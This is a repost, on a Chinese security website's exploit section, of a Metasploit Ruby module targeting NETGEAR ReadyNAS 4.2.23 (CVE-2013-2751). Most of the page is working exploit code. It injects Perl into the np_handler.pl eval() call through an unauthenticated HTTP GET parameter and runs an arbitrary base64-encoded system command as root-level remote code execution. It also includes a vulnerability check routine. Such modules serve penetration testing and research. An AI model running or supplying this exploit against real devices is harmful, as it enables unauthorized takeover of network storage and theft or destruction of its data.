首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
NETGEAR ReadyNAS Perl Code Evaluation
来源:metasploit.com 作者:hdm 发布时间:2013-11-26  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NETGEAR ReadyNAS Perl Code Evaluation',
      'Description'    => %q{
        This module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The
        vulnerability exists on the web fronted, specifically on the np_handler.pl component,
        due to the insecure usage of the eval() perl function. This module has been tested
        successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated environment, not on real
        hardware.
      },
      'Author'         =>
        [
          'Craig Young', # Vulnerability discovery
          'hdm',          # diff the patch
          'juan vazquez'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-2751' ],
          [ 'OSVDB', '98826' ],
          [ 'URL', 'http://www.tripwire.com/state-of-security/vulnerability-management/readynas-flaw-allows-root-access-unauthenticated-http-request/' ],
          [ 'URL', 'http://www.tripwire.com/register/security-advisory-netgear-readynas/' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 4096, # Has into account Apache request length and base64 ratio
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet'
            }
        },
      'Targets'        =>
        [
          [ 'NETGEAR ReadyNAS 4.2.23', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 12 2013'
      ))
  
    register_options(
      [
        Opt::RPORT(443)
      ], self.class)
  
  end
  
  def send_request_payload(payload)
    res = send_request_cgi({
      'uri' => normalize_uri("/np_handler", ""),
      'vars_get' => {
         'PAGE' =>'Nasstate',
         'OPERATION' => 'get',
         'SECTION' => payload
      }
    })
    return res
  end
  
  def check
    res = send_request_payload(")")
    if res and res.code == 200 and res.body =~ /syntax error at \(eval/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end
  
  def exploit
    my_payload = "#{rand_text_numeric(1)});use MIME::Base64;system(decode_base64(\"#{Rex::Text.encode_base64(payload.encoded)}\")"
    print_status("#{peer} - Executing payload...")
    send_request_payload(my_payload)
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Boilsoft RM TO MP3 Converter 1
·Pirelli Discus DRG A125g Passw
·ALLPlayer 5.7 (.m3u) - SEH Buf
·Apache Roller OGNL Injection
·Light Alloy 4.7.3 (.m3u) - SEH
·Microsoft Internet Explorer CO
·DesktopCentral AgentLogUpload
·MS13-090 CardSpaceClaimCollect
·DeepOfix 3.3 SMTP Authenticati
·Uptime Agent 5.0.1 Stack Overf
·Linux Kernel bt8xx Video Drive
·Kimai 0.9.2 db_restore.php SQL
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved